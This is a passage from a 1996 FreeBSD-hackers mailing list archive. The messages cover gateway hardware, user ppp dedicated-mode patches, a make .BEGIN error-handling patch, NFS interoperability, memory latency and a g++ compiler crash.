owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi, I have a 386 machine with 8meg of ram that acts as a gateway beween a pool of networked sparcs and a ppp connection at home. Is there any special settings to the kernel that I can make so to optimize the forwarding of packets from the ethernet card to the ppp interface? Is upgrading to a 486SX a good move? Is adding more memory (from 8 to 16Meg) a good idea? Thanks. From owner-freebsd-hackers Wed May 15 10:47:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA08362 for hackers-outgoing; Wed, 15 May 1996 10:47:00 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA08356; Wed, 15 May 1996 10:46:55 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id MAA12362; Wed, 15 May 1996 12:46:08 -0500 From: Joe Greco Message-Id: <199605151746.MAA12362@brasil.moneng.mei.com> Subject: Re: A question for the VM gurus..! To: toor@dyson.iquest.net (John S. Dyson) Date: Wed, 15 May 1996 12:46:07 -0500 (CDT) Cc: dyson@freebsd.org, hackers@freebsd.org In-Reply-To: <199605151714.MAA22723@dyson.iquest.net> from "John S. Dyson" at May 15, 96 12:14:47 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Not portable. Solaris, at least, implements the madvise() stuff.. > > Okay.. > > > What it seems to do: > > > > If you set MADV_SEQUENTIAL on a region, if it has to fault a page "n" in, it > > looks like it discards all pages from 0 to n-1 in that region.. notably it > > does NOT seem to do anything if it doesn't have to fault a page in. > > Is there only one process accessing the region? What happens if there > are other processes using that region also? Otherwise, that is easy to > do in our VM system. Well, the situations under which I consider this to be useful might be where you are moving vast quantities of data in a linear fashion... so multiple processes accessing it _probably_ would not be an issue. As a larger issue, I don't know what the ramifications of mixing madvise()'s on a region - either in the same process or in different processes - should be. Maybe something to ponder for a while... Then again, maybe wise to remember that an application smart enough to provide "hints" as to optimal VM usage is probably smart enough to work out the side effects too. Maybe the VM implementation _should_ be relatively simplistic, so that the behavior can be predicted. ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Wed May 15 11:02:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA09827 for hackers-outgoing; Wed, 15 May 1996 11:02:47 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id LAA09813 for ; Wed, 15 May 1996 11:02:41 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id MAA19630; Wed, 15 May 1996 12:02:27 -0600 Date: Wed, 15 May 1996 12:02:27 -0600 From: Nate Williams Message-Id: <199605151802.MAA19630@rocky.sri.MT.net> To: Gary Aitken Cc: freebsd-hackers@freebsd.org Subject: Re: user ppp with dedicated line In-Reply-To: <3199FF85.21E7@ics.com> References: <3199FF85.21E7@ics.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > 2. In order to get ppp to work on my dedicated line, I needed > to make the following mods to force packet mode: > > *** /cdrom/usr/src/usr.sbin/ppp/main.c Thu Oct 5 14:24:42 1995 > --- main_new.c Wed May 1 07:46:56 1996 > *************** > *** 599,604 **** > --- 599,610 ---- > } else if (mode & MODE_DEDICATED) { > if (!modem) > modem = OpenModem(mode); > + /* > + * garya@dreamchaser.org > + * Force packet mode as for a direct connection > + */ > + PacketMode(); > } I really didn't have time to look at this, but I was intrigued enough to do it. Apparently, in 'dedicated' mode PPP waits for the remote site to initiate the connection. main.c, starting at 796 if (LcpFsm.state <= ST_CLOSED) { /* * In dedicated mode, we just discard input until LCP is started. */ if (!(mode & MODE_DEDICATED)) { cp = HdlcDetect(rbuff, n); if (cp) { /* * LCP packet is detected. Turn ourselves into packet mode. */ if (cp != rbuff) { write(1, rbuff, cp - rbuff); write(1, "\r\n", 2); } PacketMode(); By starting packet mode earlier with your patch I think are essentially 'forcing' the remote site to respond to you. If it's necessary to get working then it's an acceptable hack, but I don't think it's generically applicable. > 3. I'm having trouble getting ppp.linkup to be read when used with a > dedicated line. It appears to be totally ignored when ppp is > started as follows, with the above mods: I think it might be ignored because of the above hack. PPP.LINKUP is called by OsLinkup in IpcpLayerUp, but I'd have to take more time to figure out when that is called. Nate From owner-freebsd-hackers Wed May 15 11:08:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA10362 for hackers-outgoing; Wed, 15 May 1996 11:08:23 -0700 (PDT) Received: from cedb.dpcsys.com (cedb.DPCSYS.COM [165.90.143.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id LAA10357 for ; Wed, 15 May 1996 11:08:20 -0700 (PDT) Received: from cedb (cedb.DPCSYS.COM [165.90.143.3]) by cedb.dpcsys.com (8.6.10/DPC-1.0) with SMTP id SAA14421; Wed, 15 May 1996 18:07:38 GMT Date: Wed, 15 May 1996 11:07:37 -0700 (PDT) From: Dan Busarow X-Sender: dan@cedb To: john@starfire.mn.org cc: FreeBSD hackers Subject: Re: NFS problems between FreeBSD 2.1.0-R(CD) server and Unixware 2.03 client In-Reply-To: <199605151259.HAA10118@starfire.mn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 May 1996 john@starfire.mn.org wrote: > We are getting file truncation (to multiples of 1024 bytes) and strange > errors (NFS write error 4, along with lots of hex info) in the log > files on the client, while the server doesn't report any problems. > We have rsize and wsize set to 1024. We had the reverse setup (UW server, FreeBSD client) going for several months with no problems. I just tried with FreeBSD as server and UW as client. I mounted the news in.coming directory onto the UW machine and copied a few hundred K several times. All files (~50K each) copy fine. I know this isn't a real test but it does show that there is probably no underlying conflict between the two OS. BTW, we have rsize and wsize set to 4096 Dan -- Dan Busarow DPC Systems Dana Point, California From owner-freebsd-hackers Wed May 15 12:02:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA13949 for hackers-outgoing; Wed, 15 May 1996 12:02:44 -0700 (PDT) Received: from whistle.com ([207.76.205.131]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA13944 for ; Wed, 15 May 1996 12:02:42 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id MAA06932; Wed, 15 May 1996 12:02:10 -0700 (PDT) X-Authentication-Warning: whistle.com: smap set sender to using -f Received: from bubba.whistle.com(207.76.205.7) by whistle.com via smap (V1.3) id sma006930; Wed May 15 12:02:00 1996 Received: (from archie@localhost) by bubba.whistle.com (8.6.12/8.6.12) id MAA07498; Wed, 15 May 1996 12:02:00 -0700 From: Archie Cobbs Message-Id: <199605151902.MAA07498@bubba.whistle.com> Subject: make bug To: freebsd-hackers@freebsd.org Date: Wed, 15 May 1996 12:01:59 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Consider the following makefile: .BEGIN: @echo aborting initialization /usr/bin/false default: @echo this should not get executed The '.BEGIN' tag just causes whatever commands listed to get executed before any other stuff happens. You would think that the execution of /usr/bin/false causes the make to fail, but instead it keeps on going: $ make aborting initialization /usr/bin/false this should not get executed *** Error code 1$ Also, there's that missing carriage-return at the end. Personally, I would call this a bug. However, some might argue that the '.BEGIN' tag is somehow special and should be immune to errors. I don't know why they would argue this, however. May I suggest a patch? This seems to fix it, at least for the above example. *** 1.3 1995/05/30 06:31:49 --- compat.c 1996/05/15 18:53:43 *************** *** 615,620 **** --- 615,624 ---- gn = Targ_FindNode(".BEGIN", TARG_NOCREATE); if (gn != NILGNODE) { Lst_ForEach(gn->commands, CompatRunCommand, (ClientData)gn); + if (gn->made == ERROR) { + printf ("\n\nStop.\n"); + exit (1); + } } } Thanks, -Archie ___________________________________________________________________________ Archie L. Cobbs, archie@whistle.com * Whistle Communications Corporation From owner-freebsd-hackers Wed May 15 12:40:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA16390 for hackers-outgoing; Wed, 15 May 1996 12:40:46 -0700 (PDT) Received: from nightmare.dreamchaser.org ([207.40.47.18]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id MAA16384 for ; Wed, 15 May 1996 12:40:44 -0700 (PDT) Received: from mofo (mofo.dreamchaser.org [206.230.42.91]) by nightmare.dreamchaser.org (8.6.12/8.6.12) with SMTP id NAA16658; Wed, 15 May 1996 13:40:02 -0600 Message-ID: <319A331E.6BDB@ics.com> Date: Wed, 15 May 1996 13:40:14 -0600 From: Gary Aitken Organization: Integrated Computer Solutions X-Mailer: Mozilla 3.0b3 (X11; I; SunOS 5.4 sun4c) MIME-Version: 1.0 To: Nate Williams CC: freebsd-hackers@freebsd.org Subject: Re: user ppp with dedicated line References: <3199FF85.21E7@ics.com> <199605151708.LAA19463@rocky.sri.MT.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > 2. In order to get ppp to work on my dedicated line, I needed > > to make the following mods to force packet mode: ... > > + PacketMode(); > > } > > > > Without looking at the code, how else would the 'dedicated' mode go into > packet mode? Is there some code that would cause packet mode it would > fall into later? Not that I could tell. I guess a more appropriate question would then be, does anyone know if ppp is supposed to work with a dedicated line without modification? If so, how do I force it into packet mode? My reading of the code and attempts at debugging lead me to believe the above mod was the only way to get it to work, but I'm not claiming to be brilliant... > > 4. I tried putting some logprintf debug code in SelectSystem, > > to check to see if ppp.linkup was even being read; > > but doing so caused a core dump. Can someone explain why, and > > give me a hint as to how to debug this? > > Where/why is it dumping core? Ugh. Turns out the connection to the log daemon wasn't open, I guess; skipping the first round of calls (when ppp.conf is being dealt with) got past the problem. Also turns out the reason ppp.linkup was having no effect was that the entry looked like: mylink: # # a bunch of comments # more comments add 0 0 HISADDR The parsing for a given entry stops not at the next entry, but at the next entry *or an empty line*. Is this intended behavior? Wouldn't it be more appropriate to stop only at the next entry or eof? > > 6. When running in dedicated (or direct, I think) mode, > > attempting to connect via a telnet to port 3000 appears > > to work, but typing commands produces no output and you > > have to kill the telnet session to recover. Is this a > > known problem? Or, as usual, I'm screwing something up? ... > > I don't think you need to run it in direct mode. I understand. But shouldn't it be possible in dedicated mode to telnet to 3000 and pass commands to control the process? -- Gary Aitken garya@ics.com (business) garya@dreamchaser.org (personal) From owner-freebsd-hackers Wed May 15 14:24:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA23637 for hackers-outgoing; Wed, 15 May 1996 14:24:58 -0700 (PDT) Received: from hemi.com (hemi.com [204.132.158.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA23629 for ; Wed, 15 May 1996 14:24:48 -0700 (PDT) Received: (from mbarkah@localhost) by hemi.com (8.6.12/8.6.12) id PAA26133 for hackers@freebsd.org; Wed, 15 May 1996 15:33:09 -0600 From: Ade Barkah Message-Id: <199605152133.PAA26133@hemi.com> Subject: Poof, hard drive wiped clean... To: hackers@freebsd.org Date: Wed, 15 May 1996 15:33:08 -0600 (MDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk One of our 2.1-R machines was backing up an nfs-mounted filesystem to a 4mm tape when poof, the system panicked, spewed something about / being mangled, rebooted, and never came back. Booting the machine up gives the familiar "Non-system disk..." error. Inserting a DOS boot floppy and running fdisk reveals... nothing! (0% usage on the drive.) Looks like the partition information got wiped clean. Hmm, how could this be ? Hardware failure ? Sounds unlikely. I'll run diagnostics on the drive later tonight. The system is a Compaq Proliant 2000 Server (Pentium), running FreeBSD 2.1-Release. The drive which got wiped was sd0 (one of those Compaq hot-pluggable drives, 1gb) off an Adaptec 174x (EISA). The machine is our news server, and has 64mb RAM on it. Any ideas ? I'm going to simply repartition and reinstall FreeBSD on it, but I'm worried this will happen again. Thanks for any hints, -Ade ------------------------------------------------------------------- Inet: mbarkah@hemi.com - HEMISPHERE ONLINE - ------------------------------------------------------------------- From owner-freebsd-hackers Wed May 15 14:59:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA26204 for hackers-outgoing; Wed, 15 May 1996 14:59:54 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA26193 for ; Wed, 15 May 1996 14:59:47 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id PAA20561; Wed, 15 May 1996 15:59:29 -0600 Date: Wed, 15 May 1996 15:59:29 -0600 From: Nate Williams Message-Id: <199605152159.PAA20561@rocky.sri.MT.net> To: Samy Touati Cc: freebsd-hackers@freebsd.org Subject: Re: memory requirements for a fbsd gateway In-Reply-To: References: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I have a 386 machine with 8meg of ram that acts as a gateway beween a > pool of networked sparcs and a ppp connection at home. I've got a 486/66 that's *way* overkill doing the job right now. > Is there any special settings to the kernel that I can make so to > optimize the forwarding of packets from the ethernet card to the ppp > interface? Nope, it does it as effective as it can. > Is upgrading to a 486SX a good move? Doubtful > Is adding more memory (from 8 to 16Meg) a good idea? I have yet to hit my disk with 16MB (no X) and actually used it for development for awhile until I got a better development. Unless you plan on using it for more than routing packets 8MB is *plenty*, if not overkill. ;) Nate From owner-freebsd-hackers Wed May 15 15:22:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA28018 for hackers-outgoing; Wed, 15 May 1996 15:22:40 -0700 (PDT) Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id PAA28010 for ; Wed, 15 May 1996 15:22:35 -0700 (PDT) Received: from campa.panke.de (anonymous231.ppp.cs.tu-berlin.de [130.149.17.231]) by mail.cs.tu-berlin.de (8.6.12/8.6.12) with ESMTP id AAA02224; Thu, 16 May 1996 00:13:11 +0200 Received: (from wosch@localhost) by campa.panke.de (8.6.12/8.6.12) id XAA00431; Wed, 15 May 1996 23:25:41 +0200 Date: Wed, 15 May 1996 23:25:41 +0200 From: Wolfram Schneider Message-Id: <199605152125.XAA00431@campa.panke.de> To: Bill/Carolyn Pechter Cc: freebsd-hackers@freebsd.org Subject: makekey In-Reply-To: <199605151249.IAA29221@shell.monmouth.com> References: <199605151249.IAA29221@shell.monmouth.com> Reply-to: Wolfram Schneider MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk /usr/libexec/makekey pechter@shell.monmouth.com writes: >I find that I've got a makekey man page with no executable. > >Is there a publically available makekey for FreeBSD or do I need >to invent one? From owner-freebsd-hackers Wed May 15 16:19:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA01988 for hackers-outgoing; Wed, 15 May 1996 16:19:36 -0700 (PDT) Received: from linux4nn.gn.iaf.nl (root@linux4nn.gn.iaf.nl [193.67.144.34]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA01981; Wed, 15 May 1996 16:19:32 -0700 (PDT) Received: from uni4nn.iaf.nl (root@uni4nn.iaf.nl [193.67.144.33]) by linux4nn.gn.iaf.nl (8.6.9/8.6.9) with SMTP id BAA30713; Thu, 16 May 1996 01:21:11 +0200 Received: by uni4nn.iaf.nl with UUCP id AA11092 (5.67b/IDA-1.5); Thu, 16 May 1996 01:20:32 +0200 Received: by iafnl.es.iaf.nl with UUCP id AA27643 (5.67b/IDA-1.5); Thu, 16 May 1996 00:23:12 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.6.12/8.6.6) id VAA00203; Wed, 15 May 1996 21:19:46 +0200 From: Wilko Bulte Message-Id: <199605151919.VAA00203@yedi.iaf.nl> X-Organisation: Private FreeBSD site - Arnhem - The Netherlands Subject: Re: errros on making floppies To: jmb@freefall.freebsd.org (Jonathan M. Bresler) Date: Wed, 15 May 1996 21:19:46 +0200 (MET DST) Cc: joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@freebsd.org, julian@ref.tfs.com In-Reply-To: <199605151428.HAA21866@freefall.freebsd.org> from "Jonathan M. Bresler" at May 15, 96 07:28:02 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > J Wunsch wrote: > > > > Pick the existing fixit floppy. It doesn't miss very much, namely > > about all you need in addition to what's already there is an > > /sbin/init (or even /stand/init). > > please add /sbin/restore to hte fixit floppy if it is not there > already. kernel should have st0. /dev should have the st0 > devices too ;) > Jonathan M. Bresler FreeBSD Postmaster jmb@FreeBSD.ORG And along with restore a /sbin/mt is needed to do 'mt fsf' like things on multi-dump tapes Wilko _ __________________________________________________________________________ | / o / / _ Wilko Bulte email: wilko@yedi.iaf.nl |/|/ / / /( (_) Private FreeBSD site - Arnhem - The Netherlands -------------------------------------------------------------------------------- From owner-freebsd-hackers Wed May 15 18:10:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA08882 for hackers-outgoing; Wed, 15 May 1996 18:10:34 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id SAA08877; Wed, 15 May 1996 18:10:32 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id SAA06467; Wed, 15 May 1996 18:09:27 -0700 (PDT) To: "Jonathan M. Bresler" cc: joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@FreeBSD.ORG, julian@ref.tfs.com Subject: Re: errros on making floppies In-reply-to: Your message of "Wed, 15 May 1996 07:28:02 PDT." <199605151428.HAA21866@freefall.freebsd.org> Date: Wed, 15 May 1996 18:09:27 -0700 Message-ID: <6465.832208967@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > please add /sbin/restore to hte fixit floppy if it is not there > already. kernel should have st0. /dev should have the st0 It's there already! Jordan From owner-freebsd-hackers Wed May 15 19:04:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA12347 for hackers-outgoing; Wed, 15 May 1996 19:04:20 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA12342 for ; Wed, 15 May 1996 19:04:17 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id TAA06717; Wed, 15 May 1996 19:01:53 -0700 (PDT) To: Archie Cobbs cc: freebsd-hackers@freebsd.org Subject: Re: make bug In-reply-to: Your message of "Wed, 15 May 1996 12:01:59 PDT." <199605151902.MAA07498@bubba.whistle.com> Date: Wed, 15 May 1996 19:01:53 -0700 Message-ID: <6715.832212113@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This really should go to Adam de Boor - anyone know his current email address? Jordan > > Consider the following makefile: > > > .BEGIN: > @echo aborting initialization > /usr/bin/false > > default: > @echo this should not get executed > > > The '.BEGIN' tag just causes whatever commands listed to get executed > before any other stuff happens. You would think that the execution of > /usr/bin/false causes the make to fail, but instead it keeps on going: > > > $ make > aborting initialization > /usr/bin/false > this should not get executed > *** Error code 1$ > > > Also, there's that missing carriage-return at the end. > > Personally, I would call this a bug. However, some might argue that > the '.BEGIN' tag is somehow special and should be immune to errors. > I don't know why they would argue this, however. > > May I suggest a patch? This seems to fix it, at least for the above > example. > > > *** 1.3 1995/05/30 06:31:49 > --- compat.c 1996/05/15 18:53:43 > *************** > *** 615,620 **** > --- 615,624 ---- > gn = Targ_FindNode(".BEGIN", TARG_NOCREATE); > if (gn != NILGNODE) { > Lst_ForEach(gn->commands, CompatRunCommand, (ClientData)gn); > + if (gn->made == ERROR) { > + printf ("\n\nStop.\n"); > + exit (1); > + } > } > } > > > Thanks, > -Archie > > ___________________________________________________________________________ > Archie L. Cobbs, archie@whistle.com * Whistle Communications Corporation From owner-freebsd-hackers Wed May 15 19:36:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA14813 for hackers-outgoing; Wed, 15 May 1996 19:36:53 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA14807 for ; Wed, 15 May 1996 19:36:46 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id TAA06859; Wed, 15 May 1996 19:35:12 -0700 (PDT) To: Ade Barkah cc: hackers@FreeBSD.ORG Subject: Re: Poof, hard drive wiped clean... In-reply-to: Your message of "Wed, 15 May 1996 15:33:08 MDT." <199605152133.PAA26133@hemi.com> Date: Wed, 15 May 1996 19:35:12 -0700 Message-ID: <6857.832214112@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Any ideas ? I'm going to simply repartition and reinstall > FreeBSD on it, but I'm worried this will happen again. I use NFS a fair bit around here, though never to back things up I'll admit, and I've never had a data loss like this. It's hard to say. On the subject of backups, have you ever considered Amanda? Jordan From owner-freebsd-hackers Wed May 15 20:08:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA17301 for hackers-outgoing; Wed, 15 May 1996 20:08:44 -0700 (PDT) Received: from hq.icb.chel.su (icb-rich-gw.icb.chel.su [193.125.10.34]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA17288 for ; Wed, 15 May 1996 20:08:24 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.7.5/8.6.5) id JAA29241 for hackers@freebsd.org; Thu, 16 May 1996 09:09:13 +0600 (GMT+0600) From: "Serge A. Babkin" Message-Id: <199605160309.JAA29241@hq.icb.chel.su> Subject: EDO & Memory latency To: hackers@freebsd.org Date: Thu, 16 May 1996 09:09:12 +0600 (ESD) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have just tried lmbench and the numbers it gives are looking slightly strange for me. It shows memory latency upto 500ns while I have 60-ns EDO memory in a Pentium/75 box. Okay, its external clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, it gives 80ns, but why the overhead is over 400ns ? Can it go from some VM subsystem activity ? I have 16M of RAM in my box and I runned lmbench with 8M maximal buffer size. The latency grows with the size of buffer. Is it possible that when the size of buffer grows the VM subsystem moves the non-recently used pages to some pool and when they are accessed again it gets the VM fault and remaps them back to that process? Thanks! -SB From owner-freebsd-hackers Wed May 15 20:14:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA17686 for hackers-outgoing; Wed, 15 May 1996 20:14:52 -0700 (PDT) Received: from hq.icb.chel.su (icb-rich-gw.icb.chel.su [193.125.10.34]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA17679 for ; Wed, 15 May 1996 20:14:27 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.7.5/8.6.5) id JAA29529 for hackers@freebsd.org; Thu, 16 May 1996 09:15:33 +0600 (GMT+0600) From: "Serge A. Babkin" Message-Id: <199605160315.JAA29529@hq.icb.chel.su> Subject: EDO, I forgot! To: hackers@freebsd.org Date: Thu, 16 May 1996 09:15:33 +0600 (ESD) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm sorry, I forgot about my question about EDO in my last mail! May be anybody can explain me why EDO must give better access times ? I had compared it with the common RAM and got absolutely equal results. My motherboard is Triton with AMI BIOS, it says at boot: EDO/Standard RAM May be the problem is in my motherboard ? Thanks! -SB From owner-freebsd-hackers Wed May 15 21:10:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA21233 for hackers-outgoing; Wed, 15 May 1996 21:10:35 -0700 (PDT) Received: from scooter.quickweb.com (scooter.quickweb.com [199.212.134.8]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA21175 for ; Wed, 15 May 1996 21:10:10 -0700 (PDT) Received: (from mark@localhost) by scooter.quickweb.com (8.6.12/8.6.12) id AAA26913; Thu, 16 May 1996 00:14:03 -0400 Date: Thu, 16 May 1996 00:14:03 -0400 (EDT) From: Mark Mayo To: freebsd-hackers@freebsd.org Subject: BSDI binary support Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Stupid question here: How compatible is FreeBSD (2.1R) with BSDI binaries? The reason I ask is that I run the BSDI versions of the Netscape Proxy server with no problems, but I just tried setting up the BSDI 2.1 binaries for the Microsoft FrontPage server extensions (for web authoring..) and all of their binaries just core dump on me.. what's the reason for this? TIA, -Mark :%t$sig -- Oops, thought I was in vi.. ------------------------------------------- | Mark Mayo mark@quickweb.com | | C-Soft www.quickweb.com | ------------------------------------------- From owner-freebsd-hackers Wed May 15 23:14:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA29379 for hackers-outgoing; Wed, 15 May 1996 23:14:06 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id XAA29374 for ; Wed, 15 May 1996 23:14:02 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.7.5/8.6.9) id BAA07537; Thu, 16 May 1996 01:13:11 -0500 (EST) From: "John S. Dyson" Message-Id: <199605160613.BAA07537@dyson.iquest.net> Subject: Re: EDO & Memory latency To: babkin@hq.icb.chel.su (Serge A. Babkin) Date: Thu, 16 May 1996 01:13:11 -0500 (EST) Cc: hackers@freebsd.org In-Reply-To: <199605160309.JAA29241@hq.icb.chel.su> from "Serge A. Babkin" at May 16, 96 09:09:12 am Reply-To: dyson@freebsd.org X-Mailer: ELM [version 2.4 PL24 ME8] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I have just tried lmbench and the numbers it gives are looking > slightly strange for me. It shows memory latency upto 500ns while > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > it gives 80ns, but why the overhead is over 400ns ? > > Can it go from some VM subsystem activity ? I have 16M of RAM in my box > and I runned lmbench with 8M maximal buffer size. The latency grows > with the size of buffer. Is it possible that when > the size of buffer grows the VM subsystem moves the non-recently used > pages to some pool and when they are accessed again it gets the VM fault > and remaps them back to that process? > There are several things going on. One is that there is propagation time through to the main memory, it is much worse than the memory cycle time. Of course, that does not account for all of the 400 nsecs that you are seeing. BTW, the R4400 boxes that I used to work on reported about 2usecs for large strides!!!! R3000's actually overflowed the counter :-). You likely are seeing TLB overhead intrinsic to the processor. Some processors don't have microcode TLB management, and you'll see worse numbers, because the TLB needs to be handled in normal machine/assembly code. (Of course, on those processors, you can tune the TLB management more freely.) John dyson@freebsd.org From owner-freebsd-hackers Thu May 16 01:54:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA09138 for hackers-outgoing; Thu, 16 May 1996 01:54:16 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (paris.CS.Berkeley.EDU [128.32.34.47]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id BAA09133 for ; Thu, 16 May 1996 01:54:13 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (localhost.Berkeley.EDU [127.0.0.1]) by paris.CS.Berkeley.EDU (8.6.11/8.6.9) with ESMTP id BAA29962; Thu, 16 May 1996 01:54:09 -0700 From: Josh MacDonald Message-Id: <199605160854.BAA29962@paris.CS.Berkeley.EDU> To: bug-g++@prep.ai.mit.edu Cc: freebsd-hackers@freebsd.org Subject: internal compiler error Date: Thu, 16 May 1996 01:54:07 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The following code, #include enum SomeEnum { SomeValue }; class SomeClass { public: SomeClass(ostream&) :_tok(SomeValue) {} private: SomeEnum _tok; }; class AnythingWithADestructor { public: ~AnythingWithADestructor() { } }; SomeClass some_function_call() { AnythingWithADestructor unused; return cout << "Hello world!"; } causes an internal compiler error running gcc 2.7.2 on FreeBSD 2.2-stable. I cannot reproduce this error on 